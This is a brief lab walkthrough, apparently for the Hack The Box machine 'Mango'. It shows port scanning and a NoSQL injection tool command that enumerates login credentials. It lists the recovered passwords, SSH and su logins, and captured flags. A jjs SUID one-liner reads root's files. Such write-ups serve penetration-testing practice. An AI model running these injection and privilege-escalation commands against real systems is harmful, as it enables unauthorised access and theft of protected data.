Lin: Mango

nmap initial

PORT   STATE SERVICE VERSION

22/tcp open ssh   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http   Apache httpd 2.4.29 ((Ubuntu))

443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base

Certificate Info

staging-order.mango.htb
Mango Prv Ltd.
admin@mango.htb

no sql injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
enumeration tool
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
https://github.com/digininja/nosqlilab

python3 nosqli-user-pass-enum.py -u http://staging-order.mango.htb -m POST -up username -pp password -op login:login -ep username

we get
mango:h3mXK8RhU~f{]f5H
admin:t9KcS3>!0B#2

ssh mango@10.10.10.162
h3mXK8RhU~f{]f5H

su admin
t9KcS3>!0B#2

79bf31c6c6eb38a8567832f7f8b47e92

running LinEnum

[+] Possibly interesting SUID files:
-rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

```
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | ./jjs
```

8a8ef79a7a2fbb01ea81688424e9ab15